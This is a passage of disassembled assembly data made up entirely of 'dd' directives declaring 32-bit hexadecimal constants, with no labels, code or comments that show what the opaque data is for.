		dd 0E7A82B5Eh, 0BECF292Eh, 0E48B48D6h, 7764049h, 744D7621h
		dd 4B2B2EC3h, 6B1C9336h, 7EAB6589h, 686F2C4Fh, 4B81AA6Ch
		dd 2A993C90h, 0FFA4CA63h
		dd 0ECB33225h, 0B2EB0305h, 754F2741h, 0A096F85Bh, 9F457F9h
		dd 36EEA1A1h, 0AD9077B6h, 0FDB4C58Bh, 52C87AC1h, 6CD03EAEh
		dd 29E8B5EEh, 0D69D1594h, 3E3F8D47h, 0DD502418h, 0BBA52C4Ch
		dd 0A6BFEF93h, 0CDA17675h, 0DE752807h, 0EEE14787h, 86C1D13Ah
		dd 62C1B9BDh, 11A1DAE7h, 127C1E5Fh, 2F83E3A1h, 7AFEEA48h
		dd 0C847BA99h, 7052C222h, 0FBFBCBB6h, 59336E36h, 300A61B7h
		dd 0D48E8F0h, 0DA699BC8h, 8FE7B054h, 22F168DAh,	0C95576B1h
		dd 8C06449Bh, 6FEA066Eh, 0C4E3FEE5h, 4BD16299h,	6FF5970Ah
		dd 2F1A9472h, 0FAD3091Eh, 736D71C4h, 1C85CEF8h,	0DDBEF979h
		dd 7C1F1808h, 962DA833h, 0B855479Ah, 72F04E00h,	0F56FC5A8h
		dd 0C2AA25DCh, 9FB3F5D8h, 34FBB8DDh, 62EADAEDh,	1FE5B364h
		dd 2DDDF886h, 29A46EDEh, 0D45A6CCCh, 95411336h,	883BCD5Bh
		dd 0DF54D4E8h, 698D6F1Eh, 9EAD1039h, 0CFB749ACh, 7FD55D36h
		dd 91EF8230h, 0CFDB4EF7h, 14BBBEB1h, 1B341FA0h,	0AFDF8090h
		dd 0DDFE64A6h, 0A486DB00h, 0F0FE536h, 0BB0A7F1Fh, 282D0C35h
		dd 116912F5h, 0DAE2F854h, 0BFC0FF8Ah, 728A7261h, 0BE8F037Bh
		dd 1C9D77F6h, 227EF2EDh, 5FE48B2Bh, 6A7612C4h, 995F3996h
		dd 178624EDh, 972AA3DEh, 0DB93127h, 94877968h, 38C55051h
		dd 40529CEDh, 0AE302A42h, 867D5CF6h, 0B61B2DE7h, 4A9BB055h
		dd 0F9F17870h, 1BAEB7A0h, 320ABD88h, 0D7A788E9h, 9031E167h
		dd 0A171B5C7h, 0DDF86DA2h, 22E1ECA0h, 4DB80388h, 0E60212Bh
		dd 0ED9DAA7Dh, 0A66833D4h, 84A64E3Ah, 28AF08B5h, 4BC9641Eh
		dd 0E6ADB33Ch, 0DF1AC171h, 92D84F17h, 0F743AFB1h, 0DB53274Ah
		dd 0AD22469Dh, 0B0DC1215h, 5D7CD07Eh, 0AA725083h, 0AB33803Ah
		dd 579783C8h, 0D237ABBEh, 0FC424CA9h, 983B2842h, 53825002h
		dd 59896E0Ch, 65A4A7FEh, 68EE1CF6h, 78F48BBDh, 1DCB22C0h
		dd 0F0B56Ch, 79BB454Eh,	25B45302h, 0C297D287h, 4BF98EF5h
		dd 46566299h, 0A246528Eh, 0B8367E6Eh, 0C2C2DF4Bh, 18223DE1h
		dd 0E36B17D2h, 5E437A70h, 0F5CF3442h, 463896B7h, 896989C9h
		dd 1B0F4CA4h, 0FE9B2EA5h, 0A1ECE15h, 3E81DB49h,	0E6CF983Fh
		dd 7AF1A66Bh, 3C936F78h, 8FB4C07Fh, 0BF8BF927h,	83D0953Bh
		dd 0B83E480Bh, 4A8D1696h, 72714837h, 63C375E2h,	4666B87Ch
		dd 0DA2EF82Eh, 74144897h, 5558F31Eh, 77B15F92h,	0EDCD2A2Dh
		dd 3C784CC5h, 4365317Eh, 7EDD49A8h, 0C6BA6D26h,	5E285002h
		dd 8FC2C1EEh, 0A02BD31Fh, 0B285169h, 7EC9F0B4h,	0AA1C4EADh
		dd 0E97747FEh, 8E12B239h, 3214D1D1h, 42E3A62Ah,	20CA82FCh
		dd 4499FCEBh, 0AA97609Fh, 0CE8159C9h, 91B6A3B6h, 289472Dh
		dd 9C7C945Ah, 0E6494AA6h, 10098988h, 0A76CD12Fh, 45CE7B4Ah
		dd 381F4214h, 59D47BEh,	0D01F845Fh, 48416020h, 503AA1A3h
		dd 0D82BFEBEh, 1390CEF3h, 0A78CAC82h, 0F7CE740Ch, 5BC59500h
		dd 0F337BC8Ch, 1CAB1271h, 4C4BB0BDh, 0D875E44Ah, 42432FEBh
		dd 36A969D2h, 1AC6EB84h, 0B9AD3AE2h, 0AE75C64Dh, 0CA6B5E81h
		dd 216B3428h, 0DE13404Ah, 84DB5C81h, 0EBFFE7FEh, 0D724425Bh
		dd 515F8B90h, 56549945h, 5F02C0F4h, 0CF4C550Dh,	0AC1A4326h
		dd 0C1E25AF6h, 112D119Ch, 0EFC884B7h, 0CE7E6F16h, 5CBC47D6h
		dd 40A60AD3h, 5266E340h, 17601E5Eh, 0A79F20E0h,	0CEA0A433h
		dd 0E80A7D43h, 97B1B359h, 2C13FDE0h, 0D324E7A8h, 477099C9h
		dd 0FD2BC78Dh, 566FE9B9h, 33F284D1h, 9FC0DAEEh,	0B5CEA863h
		dd 2F9591A0h, 45861894h, 2770162Ah, 0F29DE62Bh,	714391F0h
		dd 854DF646h, 7F46656Dh, 0DC4ED7C5h, 3ED18BD1h,	0C006D736h
		dd 35762F90h, 0A1FE0A31h, 0ABB89698h, 0EF381209h, 2237CF7Fh
		dd 6A3B3291h, 22338695h, 504AF7CAh, 3943D79h, 27B02F91h
		dd 6D1AA6FCh, 0F232F210h, 49A13A0Eh, 1329A501h,	4FFEC7B4h
		dd 0EDB4F228h, 0BC2AA1BFh, 979551B6h, 0B55D679Fh, 2AD1E9FBh
		dd 7136E541h, 0C38BAAA6h, 0E4E04E17h, 37E398D8h, 81C890BDh
		dd 61AF7C7Ah, 6545949Fh, 8D664C15h, 0A2C734D0h,	1E28063Ch
		dd 0D845DC14h, 0B1CC9CE9h, 58A13FFh, 9C7CE3E1h,	0B6C9BE84h
		dd 0E3A40384h, 0DF91ED04h, 5AC801C1h, 0C27AB4DFh, 804E7B2Dh
		dd 318C79B6h, 0EC4B27CBh, 0D2189121h, 0DCB14BFEh, 0A30FF32Eh
		dd 3977C5A5h, 0BF6BC272h, 0C0D7CA0Ch, 8E9A33Ah,	0C5AEF790h
		dd 2DFAEE0Ah, 6079F3A9h, 4BA3A628h, 0E93C9F1Fh,	3753E6F5h
		dd 3D60B408h, 9A80650Dh, 8EE299FDh, 98DC6DAEh, 0AE15869Eh
		dd 0E5E38EF1h, 938CFFE4h, 0ABAFB5B7h, 0B2803CF5h, 0C17B1404h
		dd 62A2F71Fh, 5A0AAFDFh, 0FDECE51Dh, 0F560262Bh, 0C48077ADh
		dd 21DE5D21h, 88828886h, 87D3E884h, 0F95B001Dh,	0B196958h
		dd 0E7552FD0h, 4FF645EDh, 0B729A714h, 23AD4EAAh, 0A151E14Ch
		dd 0A20AD8A5h, 0B650ED3Ch, 1E8EC166h, 274635E5h, 5B4E4C33h
		dd 0CF98551Ch, 0DE88D33Ch, 534B49C1h, 0FF8ACA42h, 0E4805B8h
		dd 97330765h, 81927E5Eh, 277CB7C4h, 38E3275h, 954FE604h
		dd 0EB7702A5h, 3DF81338h, 16BE96E5h, 949DD216h,	0A63EC74Ch
		dd 58243403h, 0B043DA4Dh, 47F37016h, 3DBDB08Bh,	0D72EE41Dh
		dd 8F57DEDBh, 7B89880Bh, 0C94C00C6h, 0F4A44DC7h, 4A106779h
		dd 0D01DCBCh, 0D3FF8F2Eh, 8829541Dh, 68AFA084h,	0B9EA4E37h
		dd 0F2A0CCE0h, 0CE8B41BAh, 7B8821FBh, 7BFF2B3Dh, 0F4A98773h
		dd 108906DDh, 6208A75Ah, 3EB683A3h, 0E6904A5Dh,	32749382h
		dd 0E6527E05h, 0FE5993CAh, 0A79D343Ch, 0A72E55D0h, 4A6C5AE4h
		dd 0C8F4F601h, 0EBF8320Ch, 90276A8Ch, 72AD0EA1h, 0F060510Eh
		dd 0C8172165h, 89F82CB9h, 21A81AC3h, 87281B91h,	0B02D4E63h
		dd 0C6D11270h, 0C8E12A7Bh, 0C987B2CEh, 8F994E0Dh, 20382A12h
		dd 0D268E061h, 0FC221255h, 51A52449h, 44022666h, 5757B42Eh
		dd 29B213A8h, 0A8AA71BFh, 33034256h, 972A7EC5h,	4C2CA25Eh
		dd 0A25B88C5h, 0C47419FFh, 85050A2Ch, 186614EEh, 640AF7A1h
		dd 5AD0446h, 0C8DD0D46h, 0D448618Fh, 1345107Eh,	71177CD2h
		dd 0F2863E97h, 755C9331h, 0F1B7C4BCh, 7C7A01B2h, 8C676783h
		dd 3561842Bh, 0A624D6A2h, 0C40D6CBh, 0DD1BDC1Dh, 0CFB0A406h
		dd 0BEB37525h, 0F3B40430h, 0D0499894h, 6D561A55h, 6471DEB2h
		dd 54159956h, 0AC599A80h, 261A732Eh, 0A1D5D2B8h, 883960EAh
		dd 8E4F993Dh, 0FAD036CCh, 0DA32F7CCh, 0B66E4B45h, 0DDCE1DF1h
		dd 0DE599FC4h, 8FD211B7h, 0B2D5B1AEh, 291B33B7h, 50A8E877h
		dd 16D2DCB0h, 7832CDE1h, 879372C5h, 0B62DD201h,	21071AC7h
		dd 8312C4D4h, 947649B1h, 4D0DA814h, 388767B5h, 935E06D4h
		dd 0A28D71B0h, 0E6DCCB8Ch, 0B4D5C4C8h, 222A4A27h, 46D5A009h
		dd 0DE1D1402h, 67D9BE58h, 4DD5B9B9h, 88E873D6h,	81B459E5h
		dd 0E5774C88h, 0E70304EFh, 4577D12Eh, 0C1F8B490h, 0EC493910h
		dd 5D83D6F0h, 30BF4C69h, 8A86C19Ch, 5F1C38F5h, 38AEFA7Eh
		dd 0E729CB97h, 0BAD70A8Eh, 0CD181C85h, 0D56C00A7h, 0DC2D110Bh
		dd 0E9BFE29Bh, 8918593Ah, 0C5CEA152h, 0C4823A18h, 0F3890BCAh
		dd 0EBB71709h, 0C00AF3F6h, 0F4781430h, 0F0AA08E8h, 5AE3B487h
		dd 0D5834F52h, 9B2DF871h, 0B9451B96h, 8537DB8Fh, 0DE806EFh
		dd 8D532029h, 589595FDh, 0D116058h, 12099562h, 0FB742FDEh
		dd 74B4ADC2h, 0C6289EE3h, 0D54CE181h, 7976905Ch, 953FD12Dh
		dd 79D71F6Dh, 8D1D4087h, 8706F0DCh, 79D8250Eh, 0E6796F7Dh
		dd 0EF4AB687h, 0D6FA95F0h
		dd 5D74E7EAh, 0F5C8E983h, 0BB07CB68h, 488DFB7Fh, 8AD38407h
		dd 0BAE73749h, 76CCD8A5h, 23B4E159h, 0F778A86h,	30BACE78h
		dd 0AF2316CFh, 9DEEE81Bh, 8C14A814h, 1148112h, 621671C4h
		dd 0D4B453C8h, 8205F548h, 0C4D8B5A5h, 88BC9845h, 88FBB518h
		dd 1A5BD3F7h, 268DBDDCh, 0B11A0EE9h, 0F3802B68h, 5AE57B22h
		dd 91DF7C4h, 0AE608196h, 0E46003D3h, 6836A3A9h,	0DC695A9Dh
		dd 4E942959h, 5103AAE6h, 0ADA6FAE0h, 0A86492FCh, 9E4DBADFh
		dd 3D7211D8h, 0FC2A173Dh, 8EFEFF06h, 0E1D0C7D0h, 62306578h
		dd 1118ABC9h, 0DF42D402h, 48EFC116h, 12209355h,	0A7D09305h
		dd 73A2EAD7h, 3640E3F4h, 94EB50D9h, 167B0097h, 0C66C3E50h
		dd 0D6F21B06h, 0AEE31A3Fh, 0D49BFFC2h, 2D09D74Dh, 74F9E471h
		dd 0EE94C7FAh, 0B73EE2AFh, 0ADFEC086h, 2AE9504Ah, 0C437E92Ch
		dd 0A3860E9Eh, 0EB1F10BCh, 6A5D3F8h, 0AE83E270h, 0BF33205Ah
		dd 9E4AE40Eh, 0A996D992h, 2C6537CEh, 39CE0774h,	3BDDC52Ah
		dd 692EF306h, 0F2A8CB76h, 7D11451Dh, 0E7735ACFh, 0B7D893D3h
		dd 6D10FFF5h, 0C1F5FE93h, 16D7AA1h, 0B82ACC71h,	8F44C561h
		dd 3DABBF2Eh, 0BE357BB2h, 3F82C3C2h, 2D8FD7C0h,	8C0D1402h
		dd 0F4E4BE5Bh, 0C34472Fh, 7101EFFFh, 4669CD36h,	0D4347C7Eh
		dd 1636C0CAh, 0DA95FAF2h, 1306E08Ch, 7941572h, 0A2457966h
		dd 1F5CAA56h, 59110260h, 0C860EF20h, 30D42043h,	2079944Dh
		dd 88759A35h, 0D75912E4h, 0BFFCF079h, 0B3789D7Ch, 0B6D97AF2h
		dd 0A5642D95h, 8F8A00F8h, 492DFF09h, 0DE99D041h, 0B7A7059Ch
		dd 0C7E92AAAh, 2A326E35h, 2EE82BEAh, 0B6A2B04Fh, 0CD60A150h
		dd 88D7A609h, 9731321h,	83AB2D57h, 0ABA5A330h, 4B5EE8C2h
		dd 53F95530h, 90DF8171h, 40C60A63h, 5A4443E2h, 0BE86B186h
		dd 7998B4D0h, 63CDEA74h, 0CCB7110Ah, 5B45087Dh,	0D8FB0ECFh
		dd 0BCD37FC2h, 0D54BAA82h, 0C0DE49DEh, 31CA9EADh, 22F202E4h
		dd 8CF61470h, 0E5EAD184h, 950D0394h, 0A9B43E1Fh, 1862E0D2h
		dd 58C39E3Ch, 97CCCB48h, 0D3B80143h, 472BF587h,	9E9A0744h
		dd 719BDAA6h, 0FAFF20A4h, 50D4CAB6h, 549A8388h,	6C0CE67Ah
		dd 0F7A76479h, 0A67D10DFh, 0A2A98ED4h, 0EE312E8Ah, 0BD4B0703h
		dd 21AD22A4h, 0AD8605E9h, 0B98CCFDAh, 33CBCA16h, 8B6088Ch
		dd 5C0E525Bh, 0AD95DDF3h, 54E14FB0h, 0A39634BDh, 1A2DD59Bh
		dd 54D9FE47h, 8AA3690Fh, 229CA963h, 0D2FE5F9h, 86D28D3Bh
		dd 0EDD7D268h, 15E8BF65h, 0A1F25317h, 8EF1BD05h, 239021C2h
		dd 0F49B1846h, 1EB95187h, 0C4617DC0h, 43674DFEh, 0AAA3406Ch
		dd 3E8FDC2h, 0B34CD705h, 2EB0E25Ch, 4A448D8Ah, 31182989h
		dd 2D4250EEh, 0DB7691F8h, 0A552876Fh, 0B5BDC83Ch, 0ACB1EE45h
		dd 95AD7C78h, 0CCAC824Dh, 0ECA9AA80h, 0B3C5D71Fh, 74A3BBD2h
		dd 5491016Fh, 3C13AF71h, 0D2021BC6h, 0C34C0B3Ch, 0B4C32D0Ch
		dd 7E950A6Ah, 84F5386Ch, 0A63731A6h, 0C583BBCFh, 0DC6664A7h
		dd 8D513634h, 0DC1E6FADh, 49265397h, 0A6A0D92Eh, 0A24AD673h
		dd 944E9640h, 71328B91h, 0E177BD9Dh, 0B23FBDF7h, 907CDF5Bh
		dd 141AFF91h, 6FB14CEh,	1CD19D5Ah, 0DF4BDEAEh, 0F616CE9Ah
		dd 0E3C3B3E8h, 8EC05AB9h, 0C467C797h, 424D6FADh, 0F07618B4h
		dd 2E4488D7h, 3DCD1FC4h, 0D413B625h, 0A3DF2865h, 9EFCD9E4h
		dd 7A6337Dh, 2BDD4865h,	0F74A76CDh, 0ED51946Eh,	900757D3h
		dd 7331E572h, 7A228F03h, 158D14F2h, 0AEE7AD63h,	8A63714Ch
		dd 237FF810h, 0E4C046Fh, 73A9D80Fh, 8839A0C0h, 0AD01EBE6h
		dd 0C0C5A6B7h, 0DB68EB28h, 0CF15BF22h, 2FCD806h, 3FD7A3E1h
		dd 6B0C0AC9h, 1E29FF55h, 2915C411h, 0E2CC3549h,	206FB36Bh
		dd 0A2FBFC64h, 90C4B61Ah, 141AD287h, 0D58F4DA2h, 4B9D3AB5h
		dd 88708B42h, 48BD52D2h, 0C3D4BC1Dh, 8219726Fh,	70BD2A32h
		dd 0D8962477h, 0C916EDC5h, 0B3C308ADh, 5312FB83h, 23A9B994h
		dd 0EB69A000h, 633AEA7Dh, 67E7A2A1h, 85032C74h,	0F72F0AE7h
		dd 0D181C6A6h, 2ABC184h, 8CD0BA6Fh, 91E8F696h, 9426E436h
		dd 0EEBD1706h, 3BA57B52h, 0CEDDA95Ch, 6087420Dh, 0EF3E2169h
		dd 833F6F02h, 4E7AA387h, 44E848A5h, 0AA5A920h, 0FA5BEBECh
		dd 0DF938688h, 0F62FE04h, 0D7CE5F18h, 9F439D2Ah, 0F3660991h
		dd 721E8A5Dh, 132C6206h, 88606963h, 0E2F0D37Eh,	5868E90Eh
		dd 7B6F4CDDh, 0CA9AC732h, 0F25BA743h, 7896114Dh, 3A64117h
		dd 0CF6E112Dh, 8EC958BFh, 12463697h, 1B4933Eh, 83DE6254h
		dd 14E332CBh, 2DBAE6B7h, 7EA14C43h, 9F8C7E5Bh, 9E0A0415h
		dd 0F8B0C622h, 249F739Fh, 30C66158h, 70CC7991h,	189C89EAh
		dd 67E776E5h, 84A20FF7h, 9B0AC273h, 0D5074C1h, 0F68B3FEDh
		dd 6EC289BDh, 3C4E58CFh, 374F6AEBh, 0AC45216Bh,	2051897Ch
		dd 5CC79B0Fh, 0C3B4FF81h, 515662EBh, 1C5C6B50h,	4031D051h
		dd 3D015152h, 26262389h, 3EFBE777h, 1B3B989Ch, 4C8714D7h
		dd 0BB59619Fh, 95452520h, 3D66EB4Bh, 83D13D0h, 0EF22122Ch
		dd 55D1D6F7h, 484CEE36h, 82A19176h, 4745C544h, 169CFD39h
		dd 112A2006h, 26E5FDD1h, 9D8E508Bh, 0CF6559D7h,	8C3E9D2Ch
		dd 0B953B705h, 0D8AFC141h, 8CE56254h, 0C8A244D2h, 0DE9E5CBEh
		dd 0FCAE57FCh, 3F77C11Ah, 13283CC2h, 0FA9164E2h, 0E6327EE2h
		dd 0C3BEEE37h, 0C134693Bh, 5DC54E07h, 37C41138h, 51D1A00h
		dd 2E901931h, 45879E6Dh, 0C2392FAAh, 0A1A142B8h, 8D71A82h
		dd 0F0331A2h, 7868C4C9h, 0ED462A2Bh, 0CD2641D1h, 9CA62C4Ch
		dd 0C29CA1B7h, 838D0382h, 0A641EF02h, 88D857F6h, 21795762h
		dd 3FBC4C5h, 341C3C98h,	0C0B746D3h, 62BF9E9Ah, 0CBC17E24h
		dd 0BBF052F1h, 0E716948Ch, 21B03985h, 6C589B58h, 2FED5408h
		dd 80A1438Fh, 4AF2DD2Ch, 68D085D9h, 69C3B039h, 0C2037E32h
		dd 0CA1B23A6h, 0FAD1DDB0h, 112065ACh, 9D97A23Eh, 5F3D2099h
		dd 696C0245h, 0B692D4CAh, 0F2D81BB5h, 8FC91886h, 0FD10D390h
		dd 18D5D816h, 0D1044ABEh, 0E7B5E990h, 3CBAD2DBh, 215FDFF1h
		dd 0CFD2AA77h, 0E5FC89FBh, 0EDB7C967h, 765034E2h, 0BC10F7B1h
		dd 0F432E4C7h, 1F167B18h, 93B0A2FBh, 0AE7BAA8Ch, 802019CDh
		dd 0F8B31335h, 976EBCF5h, 0E8C47E2Dh, 0FAD847A7h, 8CDE9389h
		dd 2760558h, 59162246h,	0D4AAC071h, 0B8BB6733h,	211B03C3h
		dd 0D5299CB4h, 0E80AD82Ah, 0D1893D5Dh, 61AAB4E4h, 3C82E58Ah
		dd 9475F678h, 4C03D40Ah, 314EE99Dh, 0A2D87BD6h,	0C6F990B6h
		dd 0EF35EEADh, 0B66182CCh, 1A3994E0h, 7683B3A5h, 254FCD5h
		dd 5BF5BA57h, 0F1292E5h, 62210BDDh, 0C22AA59h, 0F6DC5025h
		dd 3A3C6A33h, 74FB0B33h, 12B4A35Dh, 19AC1574h, 83633974h
		dd 3B647B40h, 0C44D27E9h, 0E7849852h, 81452C06h, 6A6549F3h
		dd 0FAEB537Fh, 0E48AE330h, 81F255D1h, 37CD72A5h, 299A8C12h
		dd 0F93E75A9h, 2B1D5FF2h, 0F86367A8h, 2649EFDCh, 6D223C7Ah
		dd 0B35BEC7Bh, 0F6751CAEh, 0C2E9DC9Fh, 49B8CF9h, 0F7ABE091h
		dd 49361751h, 6E521C22h, 5287F0CDh, 93C49384h, 180875BEh
		dd 6E728B16h, 54C4814Dh, 0F11BDC1Eh, 0B2E2BD7Ch, 0AAB15FF3h
		dd 0C8C14079h, 1708D04Ch, 310D8745h, 94291E9Dh,	59961A54h
		dd 0CF3BA4AFh, 7D55B094h, 1AAA2251h, 0BD5E2BB0h, 0EDE5D5D4h
		dd 8AFED8C3h, 0D2618A5Eh, 0BA0698C6h, 8C691A9Bh, 0EBAC3952h
		dd 0D310D37Dh, 0FA44EA8Ch, 117D5BE2h, 69DB9C8h,	2524BCA4h
		dd 0EB23B6Ch, 44A798D1h
		dd 1D7D8C85h, 42BF6D2Eh, 0CDF52B72h, 3BFAB670h,	972A5D9h
		dd 89920F71h, 0F3B27544h, 48076CE6h, 0E2C675F7h, 7CEAC7CBh
		dd 0A5687F23h, 0AFB8AC01h, 27D8697Dh, 29903DECh, 0D71388CFh
		dd 0F3589A4Ch, 0B1792418h, 0B8A4ACC2h, 2E6EF14Fh, 59ACE7C2h
		dd 3A051357h, 8225D3AAh, 331F5DC8h, 0AC9F6E9Ch,	0EBDB06E1h
		dd 0CF411822h, 0FAF566C4h, 3574667Bh, 5A2D2D5Ch, 5E8CFA9Eh
		dd 0CC5B1892h, 0D20FD238h, 958F2A60h, 0CCAD3D41h, 0E3A071B8h
		dd 37E30FDDh, 83FB2BCh,	830A5943h, 39DF8E3Bh, 22D5CD6h
		dd 458A193Bh, 0FA62258Bh, 20A5E483h, 7D52A507h,	83227B09h
		dd 989E7948h, 0C6ED4666h, 6FEC552Ah, 5D1306F2h,	3BADDB2Ch
		dd 3C10F76Ah, 3B44BC3Fh, 0D1E206C8h, 79E4281Eh,	9826E831h
		dd 5C7FF944h, 1CBA9AACh, 93CC27A9h, 0D28CEC6Ah,	0C066D042h
		dd 91858CACh, 5E6DE299h, 0EA6241CFh, 57EBC5D5h,	0C615FC32h
		dd 0C12E6A02h, 2FD7B13Dh, 0D60764CCh, 0D0E55233h, 72F8FB87h
		dd 53318931h, 49939B47h, 7E0C930Ah, 0EDBA24Bh, 366A7F1Fh
		dd 0FEBC5CD0h, 0C4697B5Ch, 0A602A36Ah, 0F518B380h, 0E0F58CFDh
		dd 46A5D8DDh, 0BEAD2180h, 8EB152B9h, 0F97CC4A6h, 54E30A4Fh
		dd 0DB0FF441h, 6640071Ah, 53BFD49Fh, 0EC3655C5h, 90210E30h
		dd 44DAD70Fh, 0F77A044Eh, 0D110AD87h, 0E159FDADh, 0DF7FB478h
		dd 0F3DA03E3h, 614EB4EDh, 0F7D57064h, 3DD332B2h, 19052999h
		dd 0E0B9290Dh, 619137C8h, 0CD890A81h, 5963B56h,	6A8E9798h
		dd 0CD0EE44Eh, 6C639989h, 535FC2A5h, 0FA8C74DBh, 6260919Bh
		dd 0B6F1FC97h, 3D9857FEh, 0F755E742h, 0EAA87371h, 0ED9F016Eh
		dd 513D0CF8h, 6B78E015h, 0C4489ACCh, 1F13C39Bh,	0D98B0E02h
		dd 0D4C738FAh, 0A7CCA6DEh, 0FDD468CAh, 6C5A6D81h, 5DEAAB2Fh
		dd 7E441AFDh, 5F68C2AAh, 841E919Eh, 4516E1C2h, 0C9CF5F61h
		dd 34EE9DE8h, 0E22913B6h, 2E97BC54h, 56A942C7h,	0F5932BD5h
		dd 33D93E60h, 9704A78h,	58B23EB2h, 48E3B97h, 7815DAB1h
		dd 14D26BBCh, 0B4394D2Dh, 7139055h, 4E542DD2h, 0C0CB9812h
		dd 0CA7B1274h, 7E1EB4FDh, 0AC4E4645h, 0D956812h, 0E9FF760Fh
		dd 77642659h, 44C0B49Fh, 0C4D4B549h, 85EFD086h,	0E4FC2E83h
		dd 4067BC9Eh, 0D6928B0Ah, 0A96212D8h, 0CC6E6432h, 97A8BF4h
		dd 0A2FBCC6Ah, 0FB8444Dh, 0E7C440EDh, 0B7F80494h, 73DDA46Ch
		dd 82DE7B56h, 0C0B143D6h, 0FCDE5DE5h, 58EE04ADh, 0B7AFE221h
		dd 0AA72F06Dh, 1E4C908Ah, 0CBB52B31h, 64449D0Fh, 0B6791232h
		dd 0EC7A2C12h, 0B2592137h, 0DA1CACBFh, 91CB48FAh, 6B071628h
		dd 5FEDE267h, 5CFA6B21h, 0F1FBE74h, 7294CD02h, 9565DFD6h
		dd 0B86E01D1h, 7A543728h, 4E0181B2h, 0A6AEE771h, 25A61469h
		dd 7BFED6DBh, 6AD5075h,	0A305A8E1h, 9349525Ah, 19DB1297h
		dd 27D5EEBBh, 338D0657h, 6D5E5116h, 50AFD05Ch, 46B47877h
		dd 0DD707A9Ah, 0DA6EA993h, 4D63BDE1h, 60EE7C24h, 25B09E1Ah
		dd 7B4A5048h, 0AF46F901h, 0D78865DBh, 1ED8B22Ah, 98EF1C2Ah
		dd 4F5CA935h, 87FEB0EEh, 32763D12h, 0DF11805Eh,	979FD1EBh
		dd 8E4BF36Bh, 0B55812DCh, 6E36E70Eh, 23365F2Fh,	17356FC4h
		dd 1988B04Ah, 0F7BE2140h, 8363039Dh, 3D1A7760h,	8EC2190Fh
		dd 0EA71CFFEh, 589CE125h, 105F471Ch, 792C6732h,	0A1A4D57Ch
		dd 0C00E0BBh, 4826CF7Ch, 0FD00977Ch, 266A1A7Ch,	0EA568EA7h
		dd 0BE65A03Ah, 9F163DDAh, 9AD9C272h, 0F6646014h, 6ABBAFE1h
		dd 92E2B2F5h, 7FB59DA6h, 0E083A42Fh, 37BB5103h,	0A38A0956h
		dd 0E04B091Ch, 8EACFC70h, 0C8A54B65h, 13526A04h, 420BC58Dh
		dd 7C1D0B42h, 7EF0C782h, 79DCA603h, 1B065818h, 340FA788h
		dd 922739C0h, 6A480FF7h, 6C2A23ADh, 12535D9Ch, 1F8EA460h
		dd 1564F4E7h, 8875EC18h, 66B323EEh, 0B9E863BFh,	7151B3C2h
		dd 0F99ADA01h, 1133B9C8h, 3104208h, 0DCB639B8h,	0A0DA129Dh
		dd 2CBEFEF7h, 0BD675EDAh, 0FF03652h, 1E948E5Eh,	4829F8D4h
		dd 0D49A8C37h, 8DC2E49Fh, 2320CEF9h, 722B3BB9h,	0E7C66160h
		dd 51A10777h, 536003CFh, 41E40B0Fh, 1021A144h, 1F2690AEh
		dd 50F0297Ah, 80E55831h, 4249055Ah, 438B7196h, 0EFE2478Eh
		dd 842B36E3h, 387B49D0h, 542232A5h, 3F32722Bh, 0C5D76BDAh
		dd 6332600Ah, 3144166Bh, 0D7D49C46h, 0EFA394DEh, 7E940681h
		dd 0BD7E715Ch, 284BDF66h, 0E1A7E550h, 2487A4D2h, 0A0DCE677h
		dd 2BEC73BCh, 0EED3C610h, 0B2B55B5Dh, 6DDB571h,	0F7E9118Fh
		dd 0E1D31739h, 83396142h, 4282200Ah, 0B85D5BAFh, 3BC2E40h
		dd 0BCBBD03Ch, 0C8384D5Ch, 22C1A964h, 0F3952B5Eh, 9A5EFCDBh
		dd 17B99FA5h, 90BF1F23h, 9573F8E2h, 73860AA8h, 98443F45h
		dd 63F21464h, 7F209BAAh, 74231D34h, 0F495E868h,	0FC34B5D6h
		dd 0E131A3AAh, 0C080D32Fh, 7D4D863h, 33D9ED50h,	3EC60850h
		dd 1740F90h, 2297633Fh,	1F983A05h, 45789CACh, 0D64CB25Fh
		dd 36B0B8E7h, 9AE02852h, 9F655206h, 0D773B0F7h,	330DFC5Dh
		dd 0D188DC42h, 2ABD1A15h, 87938135h, 2188C52h, 9BD7ABE4h
		dd 3AEDAB86h, 16D91439h, 5377D696h, 5F0A26D6h, 52DFC189h
		dd 9350CB47h, 0A16294A3h, 4A747ACAh, 2A589EFAh,	306D3E4Fh
		dd 0DA2C3A36h, 1B7E9B90h, 306AB0C4h, 0BBD58E7Ch, 0E2931FEh
		dd 0C9C4E60Ah, 0B125945Eh, 49F8080Ch, 0B2D12374h, 3A1FF9AFh
		dd 0DA84A9A4h, 44EE0DDBh, 6841292Fh, 57AFB904h,	1D6DF6Ch
		dd 202FD5E8h, 0A210618Dh, 4EE5A0E6h, 3D84B0ADh,	0F896B118h
		dd 0D46BF885h, 438B5134h, 0CE6B6A30h, 7727EEF5h, 33D23D59h
		dd 6AD0D242h, 0C04BCC4Eh, 0FB20469Ah, 17071526h, 2F4C8FB7h
		dd 0BA9E4C32h, 0CFCE681Ah, 38E1A3C4h, 81238D5Bh, 8F6FA594h
		dd 2C55E7A0h, 0AD0F1175h, 0A6934723h, 0F1422CEBh, 880B9FC4h
		dd 726FB7DBh, 0DD618102h, 32F8568Eh, 0AA09F5F6h, 566CF822h
		dd 0EE5DBFF9h, 0B5900463h, 0C1E560BCh, 8ECF594Dh, 4E95B24Fh
		dd 0A9891B47h, 0AD222EF0h, 0A7653E4Ah, 0B12C88DCh, 7F9B06FAh
		dd 5C9A28F6h, 747DFB06h, 8298DC53h, 2144638h, 1881542Dh
		dd 4A50D32Bh, 3C8F0968h, 7D9D1D6h, 0F5087B08h, 41221F65h
		dd 0B91C9456h, 913DA152h, 0C804D008h, 0AD6C2B81h, 1913C40Ah
		dd 311B89Eh, 2E11CB02h,	7879C137h, 0CBF0D22h, 0B3B07548h
		dd 6BEB8848h, 0B2BC2B64h, 0EBC342BAh, 3B82CD58h, 0D1F0F8D1h
		dd 51E01268h, 0F8DA6F9Bh, 2C3D7B00h, 536C8C89h,	23ABE039h
		dd 0B1D7A5FBh, 0D56BD88h, 0D8DD88BCh, 12738BE3h, 0A48494CFh
		dd 927D259Dh, 0B7F9A26Bh, 0A80EA32Bh, 32A71668h, 0D14E5424h
		dd 0F0061594h, 0FEF98481h, 5EFFF3AFh, 0D59CFD93h, 0B51BBBA9h
		dd 5FA50B4Ah, 0A460CF03h, 31673EFFh, 0AD627BAFh, 0BFEC55E5h
		dd 14B1AF7Fh, 0C2619E98h, 0A6C089F2h, 0A47924DFh, 0E8BB74A3h
